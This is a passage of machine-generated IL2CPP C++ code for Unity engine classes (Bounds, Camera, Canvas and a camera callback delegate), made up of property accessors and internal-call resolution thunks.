Bounds_get_max_m4247050707(__this, /*hidden argument*/NULL); Vector3_t2243707580 L_4 = ___point0; Vector3_t2243707580 L_5 = Vector3_Max_m2105825185(NULL /*static, unused*/, L_3, L_4, /*hidden argument*/NULL); Bounds_SetMinMax_m1523110422(__this, L_2, L_5, /*hidden argument*/NULL); return; } } extern "C" void Bounds_Encapsulate_m3688171368_AdjustorThunk (Il2CppObject * __this, Vector3_t2243707580 ___point0, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); Bounds_Encapsulate_m3688171368(_thisAdjusted, ___point0, method); } // System.String UnityEngine.Bounds::ToString() extern "C" String_t* Bounds_ToString_m1966597703 (Bounds_t3033363703 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Bounds_ToString_m1966597703_MetadataUsageId); s_Il2CppMethodInitialized = true; } String_t* V_0 = NULL; { ObjectU5BU5D_t3614634134* L_0 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)2)); Vector3_t2243707580 L_1 = __this->get_m_Center_0(); Vector3_t2243707580 L_2 = L_1; Il2CppObject * L_3 = Box(Vector3_t2243707580_il2cpp_TypeInfo_var, &L_2); NullCheck(L_0); ArrayElementTypeCheck (L_0, L_3); (L_0)->SetAt(static_cast(0), (Il2CppObject *)L_3); ObjectU5BU5D_t3614634134* L_4 = L_0; Vector3_t2243707580 L_5 = __this->get_m_Extents_1(); Vector3_t2243707580 L_6 = L_5; Il2CppObject * L_7 = Box(Vector3_t2243707580_il2cpp_TypeInfo_var, &L_6); NullCheck(L_4); ArrayElementTypeCheck (L_4, L_7); (L_4)->SetAt(static_cast(1), (Il2CppObject *)L_7); String_t* L_8 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral3664271751, L_4, /*hidden argument*/NULL); V_0 = L_8; goto IL_0033; } IL_0033: { String_t* L_9 = V_0; return L_9; } } extern "C" String_t* Bounds_ToString_m1966597703_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_ToString_m1966597703(_thisAdjusted, method); } // System.Single UnityEngine.Camera::get_nearClipPlane() extern "C" float Camera_get_nearClipPlane_m3536967407 (Camera_t189460977 * __this, const MethodInfo* method) { typedef float (*Camera_get_nearClipPlane_m3536967407_ftn) (Camera_t189460977 *); static Camera_get_nearClipPlane_m3536967407_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_nearClipPlane_m3536967407_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_nearClipPlane()"); return _il2cpp_icall_func(__this); } // System.Single UnityEngine.Camera::get_farClipPlane() extern "C" float Camera_get_farClipPlane_m3137713566 (Camera_t189460977 * __this, const MethodInfo* method) { typedef float (*Camera_get_farClipPlane_m3137713566_ftn) (Camera_t189460977 *); static Camera_get_farClipPlane_m3137713566_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_farClipPlane_m3137713566_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_farClipPlane()"); return _il2cpp_icall_func(__this); } // System.Single UnityEngine.Camera::get_depth() extern "C" float Camera_get_depth_m1329692468 (Camera_t189460977 * __this, const MethodInfo* method) { typedef float (*Camera_get_depth_m1329692468_ftn) (Camera_t189460977 *); static Camera_get_depth_m1329692468_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_depth_m1329692468_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_depth()"); return _il2cpp_icall_func(__this); } // System.Int32 UnityEngine.Camera::get_cullingMask() extern "C" int32_t Camera_get_cullingMask_m73686965 (Camera_t189460977 * __this, const MethodInfo* method) { typedef int32_t (*Camera_get_cullingMask_m73686965_ftn) (Camera_t189460977 *); static Camera_get_cullingMask_m73686965_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_cullingMask_m73686965_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_cullingMask()"); return _il2cpp_icall_func(__this); } // System.Int32 UnityEngine.Camera::get_eventMask() extern "C" int32_t Camera_get_eventMask_m4241372419 (Camera_t189460977 * __this, const MethodInfo* method) { typedef int32_t (*Camera_get_eventMask_m4241372419_ftn) (Camera_t189460977 *); static Camera_get_eventMask_m4241372419_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_eventMask_m4241372419_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_eventMask()"); return _il2cpp_icall_func(__this); } // UnityEngine.Rect UnityEngine.Camera::get_pixelRect() extern "C" Rect_t3681755626 Camera_get_pixelRect_m2084185953 (Camera_t189460977 * __this, const MethodInfo* method) { Rect_t3681755626 V_0; memset(&V_0, 0, sizeof(V_0)); Rect_t3681755626 V_1; memset(&V_1, 0, sizeof(V_1)); { Camera_INTERNAL_get_pixelRect_m1785951490(__this, (&V_0), /*hidden argument*/NULL); Rect_t3681755626 L_0 = V_0; V_1 = L_0; goto IL_0010; } IL_0010: { Rect_t3681755626 L_1 = V_1; return L_1; } } // System.Void UnityEngine.Camera::INTERNAL_get_pixelRect(UnityEngine.Rect&) extern "C" void Camera_INTERNAL_get_pixelRect_m1785951490 (Camera_t189460977 * __this, Rect_t3681755626 * ___value0, const MethodInfo* method) { typedef void (*Camera_INTERNAL_get_pixelRect_m1785951490_ftn) (Camera_t189460977 *, Rect_t3681755626 *); static Camera_INTERNAL_get_pixelRect_m1785951490_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_INTERNAL_get_pixelRect_m1785951490_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::INTERNAL_get_pixelRect(UnityEngine.Rect&)"); _il2cpp_icall_func(__this, ___value0); } // UnityEngine.RenderTexture UnityEngine.Camera::get_targetTexture() extern "C" RenderTexture_t2666733923 * Camera_get_targetTexture_m705925974 (Camera_t189460977 * __this, const MethodInfo* method) { typedef RenderTexture_t2666733923 * (*Camera_get_targetTexture_m705925974_ftn) (Camera_t189460977 *); static Camera_get_targetTexture_m705925974_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_targetTexture_m705925974_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_targetTexture()"); return _il2cpp_icall_func(__this); } // UnityEngine.CameraClearFlags UnityEngine.Camera::get_clearFlags() extern "C" int32_t Camera_get_clearFlags_m1743144302 (Camera_t189460977 * __this, const MethodInfo* method) { typedef int32_t (*Camera_get_clearFlags_m1743144302_ftn) (Camera_t189460977 *); static Camera_get_clearFlags_m1743144302_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_clearFlags_m1743144302_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_clearFlags()"); return _il2cpp_icall_func(__this); } // System.Int32 UnityEngine.Camera::get_targetDisplay() extern "C" int32_t Camera_get_targetDisplay_m835278314 (Camera_t189460977 * __this, const MethodInfo* method) { typedef int32_t (*Camera_get_targetDisplay_m835278314_ftn) (Camera_t189460977 *); static Camera_get_targetDisplay_m835278314_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_targetDisplay_m835278314_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_targetDisplay()"); return _il2cpp_icall_func(__this); } // UnityEngine.Vector3 UnityEngine.Camera::ScreenToViewportPoint(UnityEngine.Vector3) extern "C" Vector3_t2243707580 Camera_ScreenToViewportPoint_m2666228286 (Camera_t189460977 * __this, Vector3_t2243707580 ___position0, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); Vector3_t2243707580 V_1; memset(&V_1, 0, sizeof(V_1)); { Camera_INTERNAL_CALL_ScreenToViewportPoint_m529506484(NULL /*static, unused*/, __this, (&___position0), (&V_0), /*hidden argument*/NULL); Vector3_t2243707580 L_0 = V_0; V_1 = L_0; goto IL_0012; } IL_0012: { Vector3_t2243707580 L_1 = V_1; return L_1; } } // System.Void UnityEngine.Camera::INTERNAL_CALL_ScreenToViewportPoint(UnityEngine.Camera,UnityEngine.Vector3&,UnityEngine.Vector3&) extern "C" void Camera_INTERNAL_CALL_ScreenToViewportPoint_m529506484 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Vector3_t2243707580 * ___position1, Vector3_t2243707580 * ___value2, const MethodInfo* method) { typedef void (*Camera_INTERNAL_CALL_ScreenToViewportPoint_m529506484_ftn) (Camera_t189460977 *, Vector3_t2243707580 *, Vector3_t2243707580 *); static Camera_INTERNAL_CALL_ScreenToViewportPoint_m529506484_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_INTERNAL_CALL_ScreenToViewportPoint_m529506484_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::INTERNAL_CALL_ScreenToViewportPoint(UnityEngine.Camera,UnityEngine.Vector3&,UnityEngine.Vector3&)"); _il2cpp_icall_func(___self0, ___position1, ___value2); } // UnityEngine.Ray UnityEngine.Camera::ScreenPointToRay(UnityEngine.Vector3) extern "C" Ray_t2469606224 Camera_ScreenPointToRay_m614889538 (Camera_t189460977 * __this, Vector3_t2243707580 ___position0, const MethodInfo* method) { Ray_t2469606224 V_0; memset(&V_0, 0, sizeof(V_0)); Ray_t2469606224 V_1; memset(&V_1, 0, sizeof(V_1)); { Camera_INTERNAL_CALL_ScreenPointToRay_m2752248646(NULL /*static, unused*/, __this, (&___position0), (&V_0), /*hidden argument*/NULL); Ray_t2469606224 L_0 = V_0; V_1 = L_0; goto IL_0012; } IL_0012: { Ray_t2469606224 L_1 = V_1; return L_1; } } // System.Void UnityEngine.Camera::INTERNAL_CALL_ScreenPointToRay(UnityEngine.Camera,UnityEngine.Vector3&,UnityEngine.Ray&) extern "C" void Camera_INTERNAL_CALL_ScreenPointToRay_m2752248646 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Vector3_t2243707580 * ___position1, Ray_t2469606224 * ___value2, const MethodInfo* method) { typedef void (*Camera_INTERNAL_CALL_ScreenPointToRay_m2752248646_ftn) (Camera_t189460977 *, Vector3_t2243707580 *, Ray_t2469606224 *); static Camera_INTERNAL_CALL_ScreenPointToRay_m2752248646_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_INTERNAL_CALL_ScreenPointToRay_m2752248646_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::INTERNAL_CALL_ScreenPointToRay(UnityEngine.Camera,UnityEngine.Vector3&,UnityEngine.Ray&)"); _il2cpp_icall_func(___self0, ___position1, ___value2); } // UnityEngine.Camera UnityEngine.Camera::get_main() extern "C" Camera_t189460977 * Camera_get_main_m475173995 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef Camera_t189460977 * (*Camera_get_main_m475173995_ftn) (); static Camera_get_main_m475173995_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_main_m475173995_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_main()"); return _il2cpp_icall_func(); } // System.Int32 UnityEngine.Camera::get_allCamerasCount() extern "C" int32_t Camera_get_allCamerasCount_m989474043 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef int32_t (*Camera_get_allCamerasCount_m989474043_ftn) (); static Camera_get_allCamerasCount_m989474043_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_get_allCamerasCount_m989474043_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::get_allCamerasCount()"); return _il2cpp_icall_func(); } // System.Int32 UnityEngine.Camera::GetAllCameras(UnityEngine.Camera[]) extern "C" int32_t Camera_GetAllCameras_m2922515227 (Il2CppObject * __this /* static, unused */, CameraU5BU5D_t3079764780* ___cameras0, const MethodInfo* method) { typedef int32_t (*Camera_GetAllCameras_m2922515227_ftn) (CameraU5BU5D_t3079764780*); static Camera_GetAllCameras_m2922515227_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_GetAllCameras_m2922515227_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::GetAllCameras(UnityEngine.Camera[])"); return _il2cpp_icall_func(___cameras0); } // System.Void UnityEngine.Camera::FireOnPreCull(UnityEngine.Camera) extern "C" void Camera_FireOnPreCull_m1679634170 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___cam0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Camera_FireOnPreCull_m1679634170_MetadataUsageId); s_Il2CppMethodInitialized = true; } { CameraCallback_t834278767 * L_0 = ((Camera_t189460977_StaticFields*)Camera_t189460977_il2cpp_TypeInfo_var->static_fields)->get_onPreCull_2(); if (!L_0) { goto IL_0016; } } { CameraCallback_t834278767 * L_1 = ((Camera_t189460977_StaticFields*)Camera_t189460977_il2cpp_TypeInfo_var->static_fields)->get_onPreCull_2(); Camera_t189460977 * L_2 = ___cam0; NullCheck(L_1); CameraCallback_Invoke_m3079065225(L_1, L_2, /*hidden argument*/NULL); } IL_0016: { return; } } // System.Void UnityEngine.Camera::FireOnPreRender(UnityEngine.Camera) extern "C" void Camera_FireOnPreRender_m24116662 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___cam0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Camera_FireOnPreRender_m24116662_MetadataUsageId); s_Il2CppMethodInitialized = true; } { CameraCallback_t834278767 * L_0 = ((Camera_t189460977_StaticFields*)Camera_t189460977_il2cpp_TypeInfo_var->static_fields)->get_onPreRender_3(); if (!L_0) { goto IL_0016; } } { CameraCallback_t834278767 * L_1 = ((Camera_t189460977_StaticFields*)Camera_t189460977_il2cpp_TypeInfo_var->static_fields)->get_onPreRender_3(); Camera_t189460977 * L_2 = ___cam0; NullCheck(L_1); CameraCallback_Invoke_m3079065225(L_1, L_2, /*hidden argument*/NULL); } IL_0016: { return; } } // System.Void UnityEngine.Camera::FireOnPostRender(UnityEngine.Camera) extern "C" void Camera_FireOnPostRender_m94860165 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___cam0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Camera_FireOnPostRender_m94860165_MetadataUsageId); s_Il2CppMethodInitialized = true; } { CameraCallback_t834278767 * L_0 = ((Camera_t189460977_StaticFields*)Camera_t189460977_il2cpp_TypeInfo_var->static_fields)->get_onPostRender_4(); if (!L_0) { goto IL_0016; } } { CameraCallback_t834278767 * L_1 = ((Camera_t189460977_StaticFields*)Camera_t189460977_il2cpp_TypeInfo_var->static_fields)->get_onPostRender_4(); Camera_t189460977 * L_2 = ___cam0; NullCheck(L_1); CameraCallback_Invoke_m3079065225(L_1, L_2, /*hidden argument*/NULL); } IL_0016: { return; } } // UnityEngine.GameObject UnityEngine.Camera::RaycastTry(UnityEngine.Ray,System.Single,System.Int32) extern "C" GameObject_t1756533147 * Camera_RaycastTry_m3412198936 (Camera_t189460977 * __this, Ray_t2469606224 ___ray0, float ___distance1, int32_t ___layerMask2, const MethodInfo* method) { GameObject_t1756533147 * V_0 = NULL; { float L_0 = ___distance1; int32_t L_1 = ___layerMask2; GameObject_t1756533147 * L_2 = Camera_INTERNAL_CALL_RaycastTry_m1030092423(NULL /*static, unused*/, __this, (&___ray0), L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0011; } IL_0011: { GameObject_t1756533147 * L_3 = V_0; return L_3; } } // UnityEngine.GameObject UnityEngine.Camera::INTERNAL_CALL_RaycastTry(UnityEngine.Camera,UnityEngine.Ray&,System.Single,System.Int32) extern "C" GameObject_t1756533147 * Camera_INTERNAL_CALL_RaycastTry_m1030092423 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Ray_t2469606224 * ___ray1, float ___distance2, int32_t ___layerMask3, const MethodInfo* method) { typedef GameObject_t1756533147 * (*Camera_INTERNAL_CALL_RaycastTry_m1030092423_ftn) (Camera_t189460977 *, Ray_t2469606224 *, float, int32_t); static Camera_INTERNAL_CALL_RaycastTry_m1030092423_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_INTERNAL_CALL_RaycastTry_m1030092423_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::INTERNAL_CALL_RaycastTry(UnityEngine.Camera,UnityEngine.Ray&,System.Single,System.Int32)"); return _il2cpp_icall_func(___self0, ___ray1, ___distance2, ___layerMask3); } // UnityEngine.GameObject UnityEngine.Camera::RaycastTry2D(UnityEngine.Ray,System.Single,System.Int32) extern "C" GameObject_t1756533147 * Camera_RaycastTry2D_m755036866 (Camera_t189460977 * __this, Ray_t2469606224 ___ray0, float ___distance1, int32_t ___layerMask2, const MethodInfo* method) { GameObject_t1756533147 * V_0 = NULL; { float L_0 = ___distance1; int32_t L_1 = ___layerMask2; GameObject_t1756533147 * L_2 = Camera_INTERNAL_CALL_RaycastTry2D_m1020711785(NULL /*static, unused*/, __this, (&___ray0), L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0011; } IL_0011: { GameObject_t1756533147 * L_3 = V_0; return L_3; } } // UnityEngine.GameObject UnityEngine.Camera::INTERNAL_CALL_RaycastTry2D(UnityEngine.Camera,UnityEngine.Ray&,System.Single,System.Int32) extern "C" GameObject_t1756533147 * Camera_INTERNAL_CALL_RaycastTry2D_m1020711785 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Ray_t2469606224 * ___ray1, float ___distance2, int32_t ___layerMask3, const MethodInfo* method) { typedef GameObject_t1756533147 * (*Camera_INTERNAL_CALL_RaycastTry2D_m1020711785_ftn) (Camera_t189460977 *, Ray_t2469606224 *, float, int32_t); static Camera_INTERNAL_CALL_RaycastTry2D_m1020711785_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Camera_INTERNAL_CALL_RaycastTry2D_m1020711785_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Camera::INTERNAL_CALL_RaycastTry2D(UnityEngine.Camera,UnityEngine.Ray&,System.Single,System.Int32)"); return _il2cpp_icall_func(___self0, ___ray1, ___distance2, ___layerMask3); } // System.Void UnityEngine.Camera/CameraCallback::.ctor(System.Object,System.IntPtr) extern "C" void CameraCallback__ctor_m2929748071 (CameraCallback_t834278767 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.Camera/CameraCallback::Invoke(UnityEngine.Camera) extern "C" void CameraCallback_Invoke_m3079065225 (CameraCallback_t834278767 * __this, Camera_t189460977 * ___cam0, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { CameraCallback_Invoke_m3079065225((CameraCallback_t834278767 *)__this->get_prev_9(),___cam0, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, Camera_t189460977 * ___cam0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___cam0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else if (__this->get_m_target_2() != NULL || ___methodIsStatic) { typedef void (*FunctionPointerType) (void* __this, Camera_t189460977 * ___cam0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___cam0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(___cam0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.Camera/CameraCallback::BeginInvoke(UnityEngine.Camera,System.AsyncCallback,System.Object) extern "C" Il2CppObject * CameraCallback_BeginInvoke_m144217562 (CameraCallback_t834278767 * __this, Camera_t189460977 * ___cam0, AsyncCallback_t163412349 * ___callback1, Il2CppObject * ___object2, const MethodInfo* method) { void *__d_args[2] = {0}; __d_args[0] = ___cam0; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback1, (Il2CppObject*)___object2); } // System.Void UnityEngine.Camera/CameraCallback::EndInvoke(System.IAsyncResult) extern "C" void CameraCallback_EndInvoke_m2103705933 (CameraCallback_t834278767 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // UnityEngine.RenderMode UnityEngine.Canvas::get_renderMode() extern "C" int32_t Canvas_get_renderMode_m1816014618 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef int32_t (*Canvas_get_renderMode_m1816014618_ftn) (Canvas_t209405766 *); static Canvas_get_renderMode_m1816014618_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_renderMode_m1816014618_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_renderMode()"); return _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.Canvas::get_isRootCanvas() extern "C" bool Canvas_get_isRootCanvas_m2407426044 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef bool (*Canvas_get_isRootCanvas_m2407426044_ftn) (Canvas_t209405766 *); static Canvas_get_isRootCanvas_m2407426044_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_isRootCanvas_m2407426044_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_isRootCanvas()"); return _il2cpp_icall_func(__this); } // UnityEngine.Camera UnityEngine.Canvas::get_worldCamera() extern "C" Camera_t189460977 * Canvas_get_worldCamera_m1187332710 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef Camera_t189460977 * (*Canvas_get_worldCamera_m1187332710_ftn) (Canvas_t209405766 *); static Canvas_get_worldCamera_m1187332710_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_worldCamera_m1187332710_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_worldCamera()"); return _il2cpp_icall_func(__this); } // System.Single UnityEngine.Canvas::get_scaleFactor() extern "C" float Canvas_get_scaleFactor_m1115379735 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef float (*Canvas_get_scaleFactor_m1115379735_ftn) (Canvas_t209405766 *); static Canvas_get_scaleFactor_m1115379735_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_scaleFactor_m1115379735_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_scaleFactor()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Canvas::set_scaleFactor(System.Single) extern "C" void Canvas_set_scaleFactor_m298557412 (Canvas_t209405766 * __this, float ___value0, const MethodInfo* method) { typedef void (*Canvas_set_scaleFactor_m298557412_ftn) (Canvas_t209405766 *, float); static Canvas_set_scaleFactor_m298557412_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_set_scaleFactor_m298557412_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_scaleFactor(System.Single)"); _il2cpp_icall_func(__this, ___value0); } // System.Single UnityEngine.Canvas::get_referencePixelsPerUnit() extern "C" float Canvas_get_referencePixelsPerUnit_m1520474171 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef float (*Canvas_get_referencePixelsPerUnit_m1520474171_ftn) (Canvas_t209405766 *); static Canvas_get_referencePixelsPerUnit_m1520474171_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_referencePixelsPerUnit_m1520474171_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_referencePixelsPerUnit()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Canvas::set_referencePixelsPerUnit(System.Single) extern "C" void Canvas_set_referencePixelsPerUnit_m1969549562 (Canvas_t209405766 * __this, float ___value0, const MethodInfo* method) { typedef void (*Canvas_set_referencePixelsPerUnit_m1969549562_ftn) (Canvas_t209405766 *, float); static Canvas_set_referencePixelsPerUnit_m1969549562_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_set_referencePixelsPerUnit_m1969549562_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_referencePixelsPerUnit(System.Single)"); _il2cpp_icall_func(__this, ___value0); } // System.Boolean UnityEngine.Canvas::get_pixelPerfect() extern "C" bool Canvas_get_pixelPerfect_m730801767 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef bool (*Canvas_get_pixelPerfect_m730801767_ftn) (Canvas_t209405766 *); static Canvas_get_pixelPerfect_m730801767_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_pixelPerfect_m730801767_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_pixelPerfect()"); return _il2cpp_icall_func(__this); } // System.Int32 UnityEngine.Canvas::get_renderOrder() extern "C" int32_t Canvas_get_renderOrder_m2874842494 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef int32_t (*Canvas_get_renderOrder_m2874842494_ftn) (Canvas_t209405766 *); static Canvas_get_renderOrder_m2874842494_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_renderOrder_m2874842494_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_renderOrder()"); return _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.Canvas::get_overrideSorting() extern "C" bool Canvas_get_overrideSorting_m3223770298 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef bool (*Canvas_get_overrideSorting_m3223770298_ftn) (Canvas_t209405766 *); static Canvas_get_overrideSorting_m3223770298_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_overrideSorting_m3223770298_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_overrideSorting()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Canvas::set_overrideSorting(System.Boolean) extern "C" void Canvas_set_overrideSorting_m3982973573 (Canvas_t209405766 * __this, bool ___value0, const MethodInfo* method) { typedef void (*Canvas_set_overrideSorting_m3982973573_ftn) (Canvas_t209405766 *, bool); static Canvas_set_overrideSorting_m3982973573_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_set_overrideSorting_m3982973573_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_overrideSorting(System.Boolean)"); _il2cpp_icall_func(__this, ___value0); } // System.Int32 UnityEngine.Canvas::get_sortingOrder() extern "C" int32_t Canvas_get_sortingOrder_m3120854436 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef int32_t (*Canvas_get_sortingOrder_m3120854436_ftn) (Canvas_t209405766 *); static Canvas_get_sortingOrder_m3120854436_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_sortingOrder_m3120854436_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_sortingOrder()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Canvas::set_sortingOrder(System.Int32) extern "C" void Canvas_set_sortingOrder_m2922819993 (Canvas_t209405766 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*Canvas_set_sortingOrder_m2922819993_ftn) (Canvas_t209405766 *, int32_t); static Canvas_set_sortingOrder_m2922819993_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_set_sortingOrder_m2922819993_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_sortingOrder(System.Int32)"); _il2cpp_icall_func(__this, ___value0); } // System.Int32 UnityEngine.Canvas::get_targetDisplay() extern "C" int32_t Canvas_get_targetDisplay_m316548313 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef int32_t (*Canvas_get_targetDisplay_m316548313_ftn) (Canvas_t209405766 *); static Canvas_get_targetDisplay_m316548313_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_targetDisplay_m316548313_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_targetDisplay()"); return _il2cpp_icall_func(__this); } // System.Int32 UnityEngine.Canvas::get_sortingLayerID() extern "C" int32_t Canvas_get_sortingLayerID_m1396307660 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef int32_t (*Canvas_get_sortingLayerID_m1396307660_ftn) (Canvas_t209405766 *); static Canvas_get_sortingLayerID_m1396307660_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_sortingLayerID_m1396307660_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_sortingLayerID()"); return _il2cpp_icall_func(__this); } // System.Void 